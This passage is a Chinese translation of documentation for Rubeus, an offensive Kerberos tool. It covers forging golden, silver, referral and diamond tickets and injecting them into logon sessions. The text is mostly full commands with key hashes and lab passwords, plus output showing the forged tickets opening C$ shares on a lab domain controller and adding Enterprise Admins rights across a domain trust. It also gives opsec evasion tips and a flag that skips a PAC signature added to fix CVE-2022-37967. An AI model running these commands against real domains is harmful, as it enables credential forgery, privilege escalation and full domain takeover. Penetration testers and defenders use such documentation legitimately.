rubeus.ghostpack.local [*] Generating EncTicketPart [*] Signing PAC [*] Encrypting EncTicketPart [*] Generating Ticket [*] Generated KERB-CRED [*] Forged a TGT for 'harmj0y@rubeus.ghostpack.local' [*] AuthTime : 29/07/2021 00:18:19 [*] StartTime : 29/07/2021 00:18:19 [*] EndTime : 29/07/2021 10:18:19 [*] RenewTill : 05/08/2021 00:18:19 [*] base64(ticket.kirbi): doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su ...(snip)... dWJldXMuZ2hvc3RwYWNrLmxvY2Fs ``` 伪造 5 个具有不同开始日期且开始时间之间间隔 1 天的 TGT,第一个从现在开始,并使用 LDAP 获取 PAC 信息: ``` C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /rangeend:5d /rangeinterval:1d ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.0 [*] Action: Build TGT [*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local [*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)' [*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local [*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))' [*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL [*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted [*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL [*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted [*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local [*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))' [*] Building PAC [*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS) [*] SID : S-1-5-21-3237111427-1607930709-3979055039 [*] UserId : 1106 [*] Groups : 513 [*] ServiceKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 [*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256 [*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 [*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256 [*] Service : krbtgt [*] Target : rubeus.ghostpack.local [*] Generating EncTicketPart [*] Signing PAC [*] Encrypting EncTicketPart [*] Generating Ticket [*] Generated KERB-CRED [*] Forged a TGT for 'harmj0y@rubeus.ghostpack.local' [*] AuthTime : 29/07/2021 00:22:38 [*] StartTime : 29/07/2021 00:22:38 [*] EndTime : 29/07/2021 10:22:38 [*] RenewTill : 05/08/2021 00:22:38 [*] base64(ticket.kirbi): doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su ...(snip)... dWJldXMuZ2hvc3RwYWNrLmxvY2Fs [*] Generating EncTicketPart [*] Signing PAC [*] Encrypting EncTicketPart [*] Generating Ticket [*] Generated KERB-CRED [*] Forged a TGT for 'harmj0y@rubeus.ghostpack.local' [*] AuthTime : 30/07/2021 00:22:38 [*] StartTime : 30/07/2021 00:22:38 [*] EndTime : 30/07/2021 10:22:38 [*] RenewTill : 06/08/2021 00:22:38 [*] base64(ticket.kirbi): doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su ...(snip)... dWJldXMuZ2hvc3RwYWNrLmxvY2Fs [*] Generating EncTicketPart [*] Signing PAC [*] Encrypting EncTicketPart [*] Generating Ticket [*] Generated KERB-CRED [*] Forged a TGT for 'harmj0y@rubeus.ghostpack.local' [*] AuthTime : 31/07/2021 00:22:38 [*] StartTime : 31/07/2021 00:22:38 [*] EndTime : 31/07/2021 10:22:38 [*] RenewTill : 07/08/2021 00:22:38 [*] base64(ticket.kirbi): doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su ...(snip)... dWJldXMuZ2hvc3RwYWNrLmxvY2Fs [*] Generating EncTicketPart [*] Signing PAC [*] Encrypting EncTicketPart [*] Generating Ticket [*] Generated KERB-CRED [*] Forged a TGT for 'harmj0y@rubeus.ghostpack.local' [*] AuthTime : 01/08/2021 00:22:38 [*] StartTime : 01/08/2021 00:22:38 [*] EndTime : 01/08/2021 10:22:38 [*] RenewTill : 08/08/2021 00:22:38 [*] base64(ticket.kirbi): doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su ...(snip)... dWJldXMuZ2hvc3RwYWNrLmxvY2Fs [*] Generating EncTicketPart [*] Signing PAC [*] Encrypting EncTicketPart [*] Generating Ticket [*] Generated KERB-CRED [*] Forged a TGT for 'harmj0y@rubeus.ghostpack.local' [*] AuthTime : 02/08/2021 00:22:38 [*] StartTime : 02/08/2021 00:22:38 [*] EndTime : 02/08/2021 10:22:38 [*] RenewTill : 09/08/2021 00:22:38 [*] base64(ticket.kirbi): doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su ...(snip)... dWJldXMuZ2hvc3RwYWNrLmxvY2Fs ``` ### silver **silver** 操作将为用户 `/user:X` 和服务 `/service:SPN` 伪造票据,使用通过 `/des:X`、`/rc4:X`、`/aes128:X` 或 `/aes256:X` 传递的哈希加密票据,并使用相同的密钥创建 ServerChecksum。如果传递了 `/krbkey:X` 参数,这将用于创建 KDCChecksum 和 TicketChecksum(如果服务不是 **krbtgt/domain.com** 或 **domain.com** 与票据中使用的域不同,即它是转介票据),否则使用用于加密票据的相同密钥。如果未传递 `krbenctype:X`,则假定 KDCChecksum 和 TicketChecksum 使用与服务密钥相同的加密类型。 可以使用 `/cname:X` 和 `/crealm:X` 参数为 EncTicketPart(票据的加密部分)中的这些字段设置不同的值,这有时在转介委派票据中看到。可以通过传递 `/s4uproxytarget:X` 和 `/s4utransitedservices:SPN1,SPN2,...` 参数添加 S4UDelegationInfo PAC 部分,该部分提供委派的最终目标和委派所经过的 SPN 列表。 可以使用 `/authdata` 标志向 EncTicketPart 添加一些通用授权数据部分,默认情况下这将包括 *KERB-LOCAL* 部分和带有一些默认值的 *KERB-AD-RESTRICTION-ENTRY* 部分。 `/nofullpacsig` 标志将**排除**新的 *FullPacChecksum*,该签名是为解决 [CVE-2022-37967](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-37967) 漏洞而[引入](https://support.microsoft.com/en-gb/topic/kb5020805-how-to-manage-kerberos-protocol-changes-related-to-cve-2022-37967-997e9acc-67c5-48e1-8d0d-190269bf4efb)的。默认情况下,此签名包含在未使用 krbtgt 密钥保护的任何票据中。 使用服务的 *RC4* 密码哈希为用户 **ccob** 伪造到 **cifs/SQL1.rubeus.ghostpack.local** 的服务票据,并使用正确的 KRBTGT *AES256* 密钥对 KDCChecksum 和 TicketChecksum 进行签名,使用具有备用凭据的 LDAP 获取 PAC 信息: ``` C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$ The user name or password is incorrect. C:\Rubeus>Rubeus.exe silver /service:cifs/SQL1.rubeus.ghostpack.local /rc4:f74b07eb77caa52b8d227a113cb649a6 /ldap /creduser:rubeus.ghostpack.local\Administrator /credpassword:Password1 /user:ccob /krbkey:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /krbenctype:aes256 /domain:rubeus.ghostpack.local /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.0 [*] Action: Build TGS [*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local [*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=ccob)' [*] Retrieving group and domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local [*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(distinguishedname=CN=Domain Admins,CN=Users,DC=rubeus,DC=ghostpack,DC=local)(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))' [*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL [*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted [*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL [*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted [*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local [!] Unable to query forest root using System.DirectoryServices.ActiveDirectory.Forest, assuming rubeus.ghostpack.local is the forest root [*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))' [*] Building PAC [*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS) [*] SID : S-1-5-21-3237111427-1607930709-3979055039 [*] UserId : 1109 [*] Groups : 512,513 [*] ServiceKey : F74B07EB77CAA52B8D227A113CB649A6 [*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5 [*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 [*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256 [*] Service : cifs [*] Target : SQL1.rubeus.ghostpack.local [*] Generating EncTicketPart [*] Signing PAC [*] Encrypting EncTicketPart [*] Generating Ticket [*] Generated KERB-CRED [*] Forged a TGS for 'ccob' to 'cifs/SQL1.rubeus.ghostpack.local' [*] AuthTime : 29/07/2021 01:00:23 [*] StartTime : 29/07/2021 01:00:23 [*] EndTime : 29/07/2021 11:00:23 [*] RenewTill : 05/08/2021 01:00:23 [*] base64(ticket.kirbi): doIFZTCCBWGgAwIBBaEDAgEWooIESDCCBERhggRAMIIEPKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su ...(snip)... bG9jYWw= [+] Ticket successfully imported! C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$ Volume in drive \\SQL1.rubeus.ghostpack.local\c$ has no label. Volume Serial Number is 1AD6-20BE Directory of \\SQL1.rubeus.ghostpack.local\c$ 15/09/2018 08:19 PerfLogs 20/07/2021 18:17 Program Files 20/07/2021 18:17 Program Files (x86) 21/07/2021 01:53 Rubeus 20/07/2021 21:02 temp 20/07/2021 22:31 Users 20/07/2021 18:18 Windows 0 File(s) 0 bytes 7 Dir(s) 124,275,159,040 bytes free ``` 使用 LDAP 检索 PAC 信息,为信任域伪造转介 TGT: ``` C:\Rubeus>Rubeus.exe silver /user:exploitph /ldap /service:krbtgt/dev.rubeus.ghostpack.local /rc4:856a1023055848748e7b9d505ebe0e02 ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.0 [*] Action: Build TGS [*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local [*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=exploitph)' [*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local [*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))' [*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL [*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted [*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL [*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted [*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local [*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))' [*] Building PAC [*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS) [*] SID : S-1-5-21-3237111427-1607930709-3979055039 [*] UserId : 1104 [*] Groups : 513 [*] ServiceKey : 856A1023055848748E7B9D505EBE0E02 [*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5 [*] KDCKey : 856A1023055848748E7B9D505EBE0E02 [*] KDCKeyType : KERB_CHECKSUM_HMAC_MD5 [*] Service : krbtgt [*] Target : dev.rubeus.ghostpack.local [*] Generating EncTicketPart [*] Signing PAC [*] Encrypting EncTicketPart [*] Generating Ticket [*] Generated KERB-CRED [*] Forged a TGT for 'exploitph@rubeus.ghostpack.local' [*] AuthTime : 29/07/2021 02:45:54 [*] StartTime : 29/07/2021 02:45:54 [*] EndTime : 29/07/2021 12:45:54 [*] RenewTill : 05/08/2021 02:45:54 [*] base64(ticket.kirbi): doIFojCCBZ6gAwIBBaEDAgEWooIEfjCCBHphggR2MIIEcqADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su ...(snip)... LmxvY2Fs ``` 然后可以使用此票据使用 `asktgs` 在信任域上请求服务票据: ``` C:\Rubeus>Rubeus.exe asktgs /service:cifs/devdc1.dev.rubeus.ghostpack.local /dc:devdc1.dev.rubeus.ghostpack.local /ticket:doIFojCCBZ6gAwIBBa...(snip)...NrLmxvY2Fs ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.0 [*] Action: Ask TGS [*] Using domain controller: devdc1.dev.rubeus.ghostpack.local (192.168.71.85) [*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket [*] Building TGS-REQ request for: 'cifs/devdc1.dev.rubeus.ghostpack.local' [+] TGS request successful! [*] base64(ticket.kirbi): doIFrzCCBaugAwIBBaEDAgEWooIEgzCCBH9hggR7MIIEd6ADAgEFoRwbGkRFVi5SVUJFVVMuR0hPU1RQ ...(snip)... ZXVzLmdob3N0cGFjay5sb2NhbA== ServiceName : cifs/devdc1.dev.rubeus.ghostpack.local ServiceRealm : DEV.RUBEUS.GHOSTPACK.LOCAL UserName : exploitph UserRealm : RUBEUS.GHOSTPACK.LOCAL StartTime : 29/07/2021 02:51:05 EndTime : 29/07/2021 12:45:54 RenewTill : 05/08/2021 02:45:54 Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : v1Bnp3plKCePeRpg1hrtYkI7bPDk6vw5uoj5MBNSThw= ``` 为父域 **rubeus.ghostpack.local** 的 **dev.ccob@dev.rubeus.ghostpack.local** 伪造转介 TGT,并包含 Enterprise Admins 组的 SID: ``` C:\Rubeus>Rubeus.exe silver /user:dev.ccob /ldap /service:krbtgt/rubeus.ghostpack.local /rc4:856a1023055848748e7b9d505ebe0e02 /sids:S-1-5-21-3237111427-1607930709-3979055039-519 /nowrap ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.0 [*] Action: Build TGS [*] Trying to query LDAP using LDAPS for user information on domain controller DevDC1.dev.rubeus.ghostpack.local [*] Searching path 'DC=dev,DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=dev.ccob)' [*] Retrieving domain policy information over LDAP from domain controller DevDC1.dev.rubeus.ghostpack.local [*] Searching path 'DC=dev,DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-2065789546-4129202522-221898516-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))' [*] Attempting to mount: \\devdc1.dev.rubeus.ghostpack.local\SYSVOL [*] \\devdc1.dev.rubeus.ghostpack.local\SYSVOL successfully mounted [*] Attempting to unmount: \\devdc1.dev.rubeus.ghostpack.local\SYSVOL [*] \\devdc1.dev.rubeus.ghostpack.local\SYSVOL successfully unmounted [*] Retrieving netbios name information over LDAP from domain controller DevDC1.dev.rubeus.ghostpack.local [*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=dev.rubeus.ghostpack.local))' [*] Building PAC [*] Domain : DEV.RUBEUS.GHOSTPACK.LOCAL (DEV) [*] SID : S-1-5-21-2065789546-4129202522-221898516 [*] UserId : 1107 [*] Groups : 513 [*] ExtraSIDs : S-1-5-21-3237111427-1607930709-3979055039-519 [*] ServiceKey : 856A1023055848748E7B9D505EBE0E02 [*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5 [*] KDCKey : 856A1023055848748E7B9D505EBE0E02 [*] KDCKeyType : KERB_CHECKSUM_HMAC_MD5 [*] Service : krbtgt [*] Target : rubeus.ghostpack.local [*] Generating EncTicketPart [*] Signing PAC [*] Encrypting EncTicketPart [*] Generating Ticket [*] Generated KERB-CRED [*] Forged a TGT for 'dev.ccob@dev.rubeus.ghostpack.local' [*] AuthTime : 29/07/2021 03:03:34 [*] StartTime : 29/07/2021 03:03:34 [*] EndTime : 29/07/2021 13:03:34 [*] RenewTill : 05/08/2021 03:03:34 [*] base64(ticket.kirbi): doIF0TCCBc2gAwIBBaEDAgEWooIEqTCCBKVhggShMIIEnaADAgEFoRwbGkRFVi5SVUJFVVMuR0hPU1RQ ...(snip)... G9zdHBhY2subG9jYWw= ``` 然后,此转介 TGT 可用于使用 [asktgs](#asktgs) 命令请求 **rubeus.ghostpack.local** 中服务的服务票据,并获得 Enterprise Admins 组的权限: ``` C:\Rubeus>Rubeus.exe asktgs /service:cifs/pdc1.rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /ptt /ticket:doIF0TCCBc2gAwIBBaE...(snip)...cy5naG9zdHBhY2subG9jYWw= ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.0 [*] Action: Ask TGS [*] Using domain controller: pdc1.rubeus.ghostpack.local (192.168.71.80) [*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket [*] Building TGS-REQ request for: 'cifs/pdc1.rubeus.ghostpack.local' [+] TGS request successful! [+] Ticket successfully imported! [*] base64(ticket.kirbi): doIF9zCCBfOgAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su ...(snip)... ZnMbG3BkYzEucnViZXVzLmdob3N0cGFjay5sb2NhbA== ServiceName : cifs/pdc1.rubeus.ghostpack.local ServiceRealm : RUBEUS.GHOSTPACK.LOCAL UserName : dev.ccob UserRealm : DEV.RUBEUS.GHOSTPACK.LOCAL StartTime : 29/07/2021 03:04:26 EndTime : 29/07/2021 13:03:34 RenewTill : 05/08/2021 03:03:34 Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : lQGdcWT5/cacHGFko3fDJvF9poFK+tH5hctlDN89peY= C:\Rubeus>dir \\pdc1.rubeus.ghostpack.local\c$ Volume in drive \\pdc1.rubeus.ghostpack.local\c$ has no label. Volume Serial Number is 3C5F-0EF1 Directory of \\pdc1.rubeus.ghostpack.local\c$ 30/06/2021 02:13 inetpub 15/09/2018 08:19 PerfLogs 09/06/2021 17:45 Program Files 09/06/2021 17:45 Program Files (x86) 14/07/2021 01:18 Rubeus 19/07/2021 20:48 temp 30/06/2021 02:14 Users 14/07/2021 02:17 Windows 0 File(s) 0 bytes 8 Dir(s) 94,901,772,288 bytes free ``` ### diamond **diamond** 操作将通过使用给定参数修改为用户请求的 TGT 来伪造钻石 TGT。首先将使用指定的用户和加密密钥(`/rc4`、`/aes128`、`/aes256` 或 `/des`)请求 TGT。也可以使用 `/password` 标志代替哈希——在这种情况下,`/enctype:X` 将默认为 RC4 进行交换,选项包括 `des|aes128|aes256`。或者,使用 `/certificate:X` 参数支持 PKINIT 身份验证。当 PFX 文件中的私钥受密码保护时,可以使用 `/password:X` 参数传递此密码。最后,可以传递 `/tgtdeleg` 标志以使用 tgtdeleg 技巧请求 TGT。`/krbkey:X` 参数用于解密票据,在进行更改后重新签名,并重新加密票据。 如果未指定 `/domain`,则提取计算机的当前域;如果未指定 `/dc`,则对系统的当前域控制器执行相同操作。`/ptt` 标志将“传递票据”并将生成的 Kerberos 凭据应用于当前登录会话。`/luid:0xA..` 标志将票据应用于指定的登录会话 ID(需要提升权限),而不是当前登录会话。 请注意,在主机上请求 TGT 或将其应用于**当前**登录会话不需要提升的权限,只需要目标用户的正确哈希。此外,另一个 opsec 注意事项:一次只能将一个 TGT 应用于当前登录会话,因此在使用 `/ptt` 选项应用新票据时,以前的 TGT 会被擦除。一种解决方法是使用 `/createnetonly:C:\X.exe` 参数(除非指定了 `/show` 标志,否则默认隐藏进程),或者请求票据并使用 `ptt /luid:0xA..` 将其应用于另一个登录会话。 使用 `/ticketuser:X` 参数指定要在修改后的票据中使用的用户名,`/ticketuserid:#` 指定用户的 RID,`/groups:RID1,RID2...` 指定票据的组,`/sids:SID1,SID2...` 指定要包含在 ExtraSIDs 字段中的 SID。 使用用户名和密码创建钻石 TGT: ``` C:\Rubeus>Rubeus.exe diamond /krbkey:3111b43b220d2f4eb8e68fe7be1179ce69328c9071cba14bef4dbb02b1cfeb9c /user:loki /password:Mischief$ /enctype:aes /domain:marvel.local /dc:earth-dc.marvel.local /ticketuser:thor /ticketuserid:1104 /groups:512 ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.1.1 [*] Action: Diamond Ticket [*] Using domain controller: earth-dc.marvel.local (10.1.1.11) [!] Pre-Authentication required! [!] AES256 Salt: MARVEL.LOCALloki [*] Using aes256_cts_hmac_sha1 hash: 8A90D4F4E8698E76FA014C97A539C1083EDDCB5A281B1274568758FB999DFCE7 [*] Building AS-REQ (w/ preauth) for: 'marvel.local\loki' [*] Using domain controller: 10.1.1.11:88 [+] TGT request successful! [*] base64(ticket.kirbi): doIFejCCBXagAwIBBaEDAgEWooIEgzCCBH9hggR7MIIEd6ADAgEFoQ4bDE1BUlZFTC5MT0NBTKIhMB+g ...(snip)... oRgwFhsGa3JidGd0GwxNQVJWRUwuTE9DQUw= [*] Decrypting TGT [*] Retreiving PAC [*] Modifying PAC [*] Signing PAC [*] Encrypting Modified TGT [*] base64(ticket.kirbi): doIFajCCBWagAwIBBaEDAgEWooIEczCCBG9hggRrMIIEZ6ADAgEFoQ4bDE1BUlZFTC5MT0NBTKIhMB+g ...(snip)... UlZFTC5MT0NBTA== ``` 使用 tgtdeleg 技巧创建钻石 TGT: ``` C:\Rubeus>Rubeus.exe diamond /krbkey:3111b43b220d2f4eb8e68fe7be1179ce69328c9071cba14bef4dbb02b1cfeb9c /tgtdeleg /ticketuser:thor /ticketuserid:1104 /groups:512 ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.1.1 [*] Action: Diamond Ticket [*] No target SPN specified, attempting to build 'cifs/dc.domain.com' [*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/Earth-DC.marvel.local' [+] Kerberos GSS-API initialization success! [+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output. [*] Found the AP-REQ delegation ticket in the GSS-API output. [*] Authenticator etype: aes256_cts_hmac_sha1 [*] Extracted the service ticket session key from the ticket cache: imNrWVWRhlB61dUk5EWEdQL7DgqBQ/UckUs9pBvw6JU= [+] Successfully decrypted the authenticator [*] base64(ticket.kirbi): doIFejCCBXagAwIBBaEDAgEWooIEgzCCBH9hggR7MIIEd6ADAgEFoQ4bDE1BUlZFTC5MT0NBTKIhMB+g ...(snip)... oRgwFhsGa3JidGd0GwxNQVJWRUwuTE9DQUw= [*] Decrypting TGT [*] Retreiving PAC [*] Modifying PAC [*] Signing PAC [*] Encrypting Modified TGT [*] base64(ticket.kirbi): doIFajCCBWagAwIBBaEDAgEWooIEczCCBG9hggRrMIIEZ6ADAgEFoQ4bDE1BUlZFTC5MT0NBTKIhMB+g ...(snip)... UlZFTC5MT0NBTA== ``` ## 票据管理 票据管理命令的细分: | Command | Description | | ----------- | ----------- | | [ptt](#ptt) | 将票据应用于当前(或指定的)登录会话 | | [purge](#purge) | 清除当前(或指定的)登录会话的 Kerberos 票据 | | [describe](#describe) | 描述票据 base64 blob 或 .kirbi 文件 | ### ptt **ptt** 操作将通过 LsaCallAuthenticationPackage() API 使用 KERB_SUBMIT_TKT_REQUEST 消息为当前登录会话提交 `/ticket:X`(TGT 或服务票据),或者(**如果提升**)提交给由 `/luid:0xA..` 指定的登录会话。与其他 `/ticket:X` 参数一样,该值可以是 .kirbi 文件的 base64 编码或磁盘上 .kirbi 文件的路径。 ``` C:\Rubeus>Rubeus.exe ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWoo..(snip).. ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Import Ticket [+] Ticket successfully imported! C:\Rubeus>Rubeus.exe klist ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: List Kerberos Tickets (Current User) [0] - 0x12 - aes256_cts_hmac_sha1 Start/End/MaxRenew: 2/11/2019 2:55:18 PM ; 2/11/2019 7:55:18 PM ; 2/18/2019 2:55:18 PM Server Name : krbtgt/testlab.local @ TESTLAB.LOCAL Client Name : dfm.a @ TESTLAB.LOCAL Flags : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000) ``` 将票据**提升**应用到另一个登录会话: ``` C:\Rubeus>Rubeus.exe klist /luid:0x474722b ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: List Kerberos Tickets (All Users) [*] Target LUID : 0x474722b UserName : patsy Domain : TESTLAB LogonId : 0x474722b UserSID : S-1-5-21-883232822-274137685-4173207997-1169 AuthenticationPackage : Kerberos LogonType : Interactive LogonTime : 2/11/2019 10:58:53 PM LogonServer : PRIMARY LogonServerDNSDomain : TESTLAB.LOCAL UserPrincipalName : patsy@testlab.local [0] - 0x12 - aes256_cts_hmac_sha1 Start/End/MaxRenew: 2/11/2019 2:58:53 PM ; 2/11/2019 7:58:53 PM ; 2/18/2019 2:58:53 PM Server Name : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL Client Name : patsy @ TESTLAB.LOCAL Flags : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000) C:\Rubeus>Rubeus.exe ptt /luid:0x474722b /ticket:doIFmjCCBZagAwIBBaEDAgEWoo..(snip).. ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Import Ticket [*] Target LUID: 0x474722b [+] Ticket successfully imported! C:\Rubeus>Rubeus.exe klist /luid:0x474722b ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: List Kerberos Tickets (All Users) [*] Target LUID : 0x474722b UserName : patsy Domain : TESTLAB LogonId : 0x474722b UserSID : S-1-5-21-883232822-274137685-4173207997-1169 AuthenticationPackage : Kerberos LogonType : Interactive LogonTime : 2/11/2019 10:58:53 PM LogonServer : PRIMARY LogonServerDNSDomain : TESTLAB.LOCAL UserPrincipalName : patsy@testlab.local [0] - 0x12 - aes256_cts_hmac_sha1 Start/End/MaxRenew: 2/11/2019 2:55:18 PM ; 2/11/2019 7:55:18 PM ; 2/18/2019 2:55:18 PM Server Name : krbtgt/testlab.local @ TESTLAB.LOCAL Client Name : dfm.a @ TESTLAB.LOCAL Flags : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000) ``` ### 清除 **purge** 操作将从当前登录会话中清除所有 Kerberos 票据,或者(如果提升)从由 `/luid:0xA..` 指定的登录会话中清除。 ``` C:\Rubeus>Rubeus.exe klist ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: List Kerberos 